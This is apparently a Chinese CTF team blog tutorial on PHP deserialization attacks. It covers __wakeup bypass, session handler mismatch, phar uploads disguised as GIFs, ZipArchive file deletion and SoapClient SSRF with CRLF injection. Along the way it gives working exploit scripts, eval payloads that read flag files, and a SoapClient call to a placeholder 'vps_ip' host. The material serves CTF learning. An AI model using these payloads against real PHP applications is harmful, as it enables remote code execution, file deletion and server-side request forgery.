前言
最近的博客可能都是各类知识点的总结博客,毕竟队内的wiki还在搭建过程中,今天就来系统讲一下php的反序列化吧,如果有错误,希望各位大师傅们指出Orz
序列化与反序列化
简单的说来,就是PHP在保存和传递对象的时候,会将一个原本很大块的代码根据一定的规则转换为字符串,这个过程就是序列化,那么反序列化就是将序列化后的字符串重新转化为对象的过程了,好了,下面先来几个例子来具体介绍
简单例子
先放一个简单的例子1
2
3
4
5
6
7
8
9
10
11
12
13
14
15class Example{
public $a1 = "abc";
private $a2 = "abc";
protected $a3 = "abc";
public $b = ["1","2","3"];
public function display(){
echo $this->a1;
echo "\n";
echo $this->b;
}
}
$example = new Example();
file_put_contents('res.txt',serialize($example));
var_dump(serialize($example)) ;
这个时候我们就可以看到序列化后的值是1
string(138) "O:7:"Example":4:{s:2:"a1";s:3:"abc";s:11:"Examplea2";s:3:"abc";s:5:"*a3";s:3:"abc";s:1:"b";a:3:{i:0;s:1:"1";i:1;s:1:"2";i:2;s:1:"3";}}"
可以看到a1、a2、a3的值都一样,但是这三个值的键名都不一样,具体看一下他的二进制数
可以看到,它是会将每一个变量的类型和值都保存起来,还会将长度打印出来,但是需要注意一点1
2
3公有属性:属性名
私有属性:%00类名%00属性名
保护属性:%00*%00属性名
然后还原也能成功还原1
2$s = "O:7:"Example":4:{s:2:"a1";s:3:"abc";s:11:"Examplea2";s:3:"abc";s:5:"*a3";s:3:"abc";s:1:"b";a:3:{i:0;s:1:"1";i:1;s:1:"2";i:2;s:1:"3";}}";
var_dump(unserialize($s));
以上就是一个简单的序列化和反序列化的过程了,那么接下来就是漏洞利用了
漏洞利用
魔幻函数
在php里面,有许多很神奇的函数,通过一定的条件可以自动调用,我们将它称为魔幻函数,先列一下1
2
3
4
5
6
7
8
9
10
11
12__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
__sleep() //对象被序列化前触发
__wakeup() //反序列化前触发
__toString() //将对象当做字符串输出会触发
例题
这道题是今年国赛的热身题,先来看源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
可以看到这道题我们想要拿到flag先要触发__destruct
函数,但是__wakeup
函数会将一切参数置空,修改一下属性个数就能绕过,至于token_flag
和token
的匹配就要用指针去匹配,exp如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token = &$this->token_flag;
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag){
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
$h = new Handle(new Flag('flag.php'));
echo urlencode(serialize($h));
//$c = "O:6:\"Handle\":3:{s:14:\"Handlehandle\";O:4:\"Flag\":3:{s:4:\"file\";s:8:\"flag.php\";s:5:\"token\";N;s:10:\"token_flag\";R:4;}}";
session序列化漏洞
简单介绍
1 |
|
session的数据会存储在/var/lib/php/sessions/
目录下,读一下这个目录的内容
可以看到,这个序列化后的值跟我们最上面的值很相似,但是又有点不同,因为在session的序列化中有三种不同的引擎,他们序列化后的结果都是不一样的
php_binary:ascii字符+键名+serialize()函数处理后的值
php:键名+竖线+serialize()函数处理后的值
php_serialize:serialize()函数处理后的值
如果没有指定引擎的时候,默认使用的是php引擎,但是如果我们指定了引擎的话,就会根据我们指定的去进行序列化
下面让我们看一下不同的引擎出来的不同的值1
2
3
4
5
6
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['login'] = true;
$_SESSION['id'] = 1;
$_SESSION['username'] = 'Ariel';
可以看到这里有个正方形,login
的长度是5,ascii字符是ENQ,不可见,所以显示不出来,剩下的部分还是按照之前的规则去存储的
接下来是php_serialize
1
2
3
4
5
6
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['login'] = true;
$_SESSION['id'] = 1;
$_SESSION['username'] = 'Ariel';
可以看到存储的值也发生了变化,那么问题来了,如果我们存储和解密session的时候用的引擎不一样,会不会引发问题呢?
例题
下面放一题Jarvis OJ的题目1
http://web.jarvisoj.com:32784/
进去先看到源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
可以看到这里有个后门eval
,但是我们想要执行却发现类在构造的时候就已经对mdzz
赋值了,有什么办法能控制它的值呢?我们先看一下他的phpinfo有没有什么信息好吧
可以看到他开启了session.upload_progress.enabled
,因此我们可以控制文件内容,所以现在我们要做的就是写exp了
首先是对exal
函数的利用,因为引擎不同,我们只需要在反序列化后的值前面加个|
就可以让他成功触发漏洞了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'print_r(dirname(__FILE__));';
}
function __destruct()
{
eval($this->mdzz);
}
}
$o = new OowoO();
echo serialize($o);
//print_r(dirname(__FILE__));
//print_r(scandir("/opt/lampp/htdocs"));
//print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));
这个时候我们要做的就是控制session的值了,根据官方的文档可以写出如下脚本1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html lang="en">
<head>
<meta charset="UTF-8">
<title>session反序列化</title>
</head>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="changehere" />
<input type="submit" value="go" />
</form>
</body>
</html>
接下来要做的就是抓包修改值,触发反序列化,具体看图吧
phar反序列化
简单介绍
首先介绍一下phar://
,phar://
和php://filter
、data://
协议那些一样,都是流包装,可以将一组php文件进行打包,可以创建默认执行的stub,而stub就是一个标志,他的格式是xxx<?php xxxxx;__HALT_COMPILER();?>
,结尾是__HALT_COMPILER()'?>
,不然phar
识别不了phar
文件
简单栗子
我们首先先看一下phar怎么用1
2
3
4
5
6
7
8
9
10
11
class TestObject{
}
$phar = new Phar("phar.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?>");
$o = new TestObject();
$o -> data = 'h4ck3r';
$phar -> setMetadata($o);
$phar -> addFromString("test.txt","test");
$phar -> stopBuffering();
执行一下我们看到他会产生一个phar.phar
文件,丢去二进制编辑器看一下
我们确实看到了有反序列化后的值,对应的,就有反序列化的操作,而php大部分文件系统函数在通过phar://
协议解析的时候,都会将meta-data进行反序列化,影响函数如下
接下来我们进行反序列化1
2
3
4
5
6
7
class TestObject{
function __destruct(){
echo $this->data;
}
}
include ('phar://phar.phar');
可以看到确实是有数据输出,因此可以看到这样是可以触发反序列化漏洞了,接下来就是利用了
例题
这里我们先给一个很简陋很简陋的前端的上传框好吧1
2
3
4
5
6
7
8
9
10
11
12
13
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ea3y_upload_file</title>
</head>
<body>
<form action="http://localhost/ctf/serialize/train/phar_title1.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="upload" />
</form>
</body>
</html>
后台的限制是1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"]."<br>";
echo "Type: " . $_FILES["file"]["type"]."<br>";
echo "Temp file: " . $_FILES["file"]["tmp_name"]."<br>";
if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}
可以看到后台只允许上传gif文件,再接着看一下后台处理文件的源码1
2
3
4
5
6
7
8
9
$filename=$_GET['filename'];
class AnyClass{
function __destruct()
{
eval($this ->data);
}
}
include ($filename);
可以看到后台拿到文件名会include进去文件名,而且还有一个类的__destruct
方法里面有个eval
函数,所以现在问题来了,我们要怎么利用呢?但是我们可以利用phar协议去完成利用,先写下exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class AnyClass{
function __destruct()
{
eval($this -> data);
}
}
$phar = new Phar('phar2.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> data = 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();
然后就是先更改phar2.phar
,将他的后缀名改成gif
去上传上去,成功上传以后可以进行利用了
可以看到成功利用了,这就是一个简单的例子,深入的就在以后的比赛题中慢慢体会吧
原生类序列化问题
接下来的一个问题就是涉及到原生类的序列化问题了,首先我们先了解什么是原生类
原生类同名函数
首先先认识原生类同名函数的攻击漏洞,先假设我们有一个上传类如下1
2
3
4
5
6
7
8
9
class Upload{
function upload($filename, $content){
//这是一个你不能修改的文件, prprprpr
}
function open($filename, $content){
//你还是不能修改, lololololol
}
}
这个上传类被.htaccess文件控制的很死,难以上传我们的小马,即使成功上传了,也不能执行,只有删除了.htaccess文件才可以,那么我们要怎么利用呢
所以我们现在就是要先找到一个函数,能删除或者覆盖掉.htaccess文件,先搜索一波1
2
3
4
5
6
7
8
foreach (get_declared_classes() as $class){
foreach (get_class_methods($class) as $method){
if ($method == "open"){
echo "$class -> $method"."<br>";
}
}
}
这里搜索到三个函数1
2
3SessionHandler -> open
ZipArchive -> open
XMLReader -> open
接下来就是查阅官方手册看一下哪个能利用
搜索可利用函数
先看SessionHandler::open
查看参数可知,他的传参只有两个,save_path
和session_name
,都是关于session方面的操作的,难以利用
接着找ZipArchive::open
可以看到flag
参数有个ZipArchive::OVERWRITE
模式,继续找它的官方介绍能看到1
2ZIPARCHIVE::OVERWRITE (integer)
总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖。
我们先测试一下
可以看到确实成功的删除了文件,因此我们就可以达到了删除固定文件的目的,也就摆脱了.htaccess文件的限制了
最后再看一下XMLReader::open
里面的几个option
都没有删除文件的功能,利用价值不高
例题
这部分晚点再补充
原生类魔幻函数
上面的函数固然可以成功利用,但是要找到这样的函数并非一件简单的事情,因此我们可以考虑一下,有没有什么类里面会包含了魔幻函数呢,这样子我们利用的难度也会大大降低
找可利用的类
改一下原来的搜索脚本1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$classes = get_declared_classes();
foreach ($classes as $class){
$methods = get_class_methods($class);
foreach ($methods as $method){
if (in_array($method, array(
'__construct',
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))){
echo $class."::".$method."<br>";
}
}
}
可以看到确实能找出一堆的函数
例题
上面列了这么多函数,但是具体如何利用呢,下面放一道题目,就是2018LCTF的一道题目,index.php
的源码为1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'],$_POST);
session_start();
if(isset($_GET['name'])){
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
flag.php
的源码为1
2
3
4
5
6
7
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{******************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
这题可以看到index.php
里面有个call_user_func
函数,理想状态下我们是想通过变量覆盖,将$b
覆盖成unserialize
,然后利用下一个call_user_func
函数再去调用进行利用,可是$a
是数组,难以进行利用,根据题目给出的flag.php
文件可以猜测到时利用反序列化去触发ssrf,所以现在我们就是要去寻找一个可以利用的类
这题的利用点有两个,一个是session
类,另一个就是SOAP
类了,根据我们上面讲的可以知道,我们现在要做的就是利用session引擎的漏洞和原生类的魔幻函数去进行反序列化漏洞利用了
我们先试一下最简单的用法去进行反弹shell1
2
3
4
5
6
$a = new SoapClient(null,array('location'=>'http://vps_ip:2333','uri'=>'123'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c -> a();
成功回弹,那么接下来就是要试一下能不能进行crlf1
2
3
4
5
6
7
8
9
10
11
12
13
14
$target = "http://vps_ip:2333";
$post_string = 'data=abc';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmpr1954456893'
);
$b = new SoapClient(null,array('location' => $target,'user_agent' => 'glarcy^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello'));
$aaa = serialize($b);
$aaa = str_replace('^^',"\n\r",$aaa);
echo urlencode($aaa);
//echo $b;
$d = unserialize($aaa);
$d -> b();
尝试了利用以后,就回到题目做题了,这道题目我们先用call_user_func
去设置session
引擎,然后再利用默认的引擎去触发反序列化,exp如下1
2
3
4
5
$target = 'http://127.0.0.1/ctf/soap/flag.php';
$attack = new SoapClient(null,array('location'=>$target,'user_agent'=>"glary\r\nCookie: PHPSESSID=8nsujaq7o5tl0btee8urnlsrb3\r\n",'uri'=>'123'));
$payload = urlencode(serialize($attack));
echo $payload;
生成payload打过去,但是要记得在payload前加一个|
,因为我们是要先利用session的反序列化漏洞将payload存进session
然后就是去修改利用extract进行覆盖来反序列化利用了,注意session的值要记得改
菜鸡水平有限,php的反序列化部分暂时先讲到这里,有错误希望各位大师傅指出Orz